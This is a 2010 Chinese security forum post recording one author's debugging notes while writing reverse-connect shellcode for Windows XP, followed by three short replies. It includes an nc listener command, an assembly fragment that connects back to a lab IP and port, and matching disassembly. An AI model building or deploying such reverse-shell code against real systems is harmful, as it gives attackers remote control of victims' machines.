首页
社区
课程
招聘
[原创]编写反连ShellCode遇到的难点并解决之总结
发表于: 2010-1-20 20:22 5671

[原创]编写反连ShellCode遇到的难点并解决之总结

2010-1-20 20:22
5671

题目:编写反连ShellCode遇到的难点并解决之总结
作者:仙果
目录
0x1 题记
0x2 相关
0x3 难点
0x4 总结

0x1 题记
   漏洞分析暂告了一个段落,转向了独立编写一个反连的ShellCode,相关代码网络上已经很多很多,
   自己也参考了网络上公布的代码进行编写,此篇文章主要记录编写过程中困扰自己很多时间的相关问题,并加上自己的理解。

0x2 相关
开发系统:
        Windows XP SP3_cn
        虚拟机Windows XP sp2_cn
开发软件:
        vc++6.0 sp6中文版
        vs2008 中文版
调试软件:
        WinDbg

0x3 难点

    由于对win32_socket编程一点也不了解,最多也就编写过扫描端口的小程序,也是照着网上的代码版拼半凑的完成,
    所以此次编写反连的ShellCode的过程完全是在对其一无所知的情况下完成的,当然完成之后对socket编程也还是一知半解的状态。
        先是在网络上搜索有关于反连ShellCode的相关代码,真正能搜索到的代码很少,很多相同或者类似的代码对自己没有什么用处,
        最后在metasploit的网站上下载到一套代码,其机器码可以正常执行,但源码是asm格式在本机上编译很多地方出错,
        不最多如何进行修改,其功能不符合此次编写的要求,只能手动自己编写,代码作为参考。相关代码会进行打包上传,
        我写的源代码就不传了,大家可以根据帖出来的代码自行编写。
    此前已经把本地监听端口的相关代码已经完成,故利用此前的相关代码,经过比较与监听端口相比只存在相关网络处理函数的不同,
    其初始化函数都是相同的。
0x3.1
        在虚拟机中使用NC工具监听需要连接的端口,命令为nc.exe -l -p         4444-vv
   经过WSAStartup及WSASocketA(2,1,0,0,0,0)函数处理后,接下来需要调用connect进行相关处理。
   查询资料得connect执行成功,则其返回值为0,在调试的时候返回值都是0xffffffff,报错并退出,代码为:

LConnnect:
    push 0xF700A8C0 ; host: 192.168.0.247 6401A8C0
    push 0x11220002 ; port: 8721 
    mov ecx, esp
    push byte 0x10
    push ecx
    push ebx
    call [ebp + 16]   //connect
    test eax, eax
    jne short LFinished
85:       if(0 != connect(locals, (struct sockaddr*)&s_sin, sizeof(s_sin)))
00401AB7   mov         esi,esp
00401AB9   push        10h
00401ABB   push        offset s_sin (0047cdf0)
00401AC0   mov         eax,[locals (0047ce5c)]
00401AC5   push        eax
00401AC6   call        dword ptr [__imp__connect@12 (0047f374)]
00401ACC   cmp         esi,esp
00401ACE   call        __chkesp (00420c40)
00401AD3   test        eax,eax
00401AD5   je          getshell+12Bh (00401aeb)


 push        offset s_sin (0047cdf0)中保存了 端口和反连IP
0047CDF0  02 00 22 11 C0 A8 01 03  ..".括..
0047CDF8  00 00 00 00 00 00 00 00  ........
 mov         eax,[locals (0047ce5c)] 保存socket的句柄

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (3)
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
2
后天就可以分析IE的漏洞了
哇哈哈
2010-1-20 20:43
0
雪    币: 236
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
这么强悍。
发现那个参考代码里面

备注那里写的是2004年的
2010-1-21 14:32
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
4
参考代码就是04年的哈
  我在网上下载的,所以也没有注意到具体的年份
拿来做参考就行
2010-1-21 14:38
0
游客
登录 | 注册 方可回帖
返回
//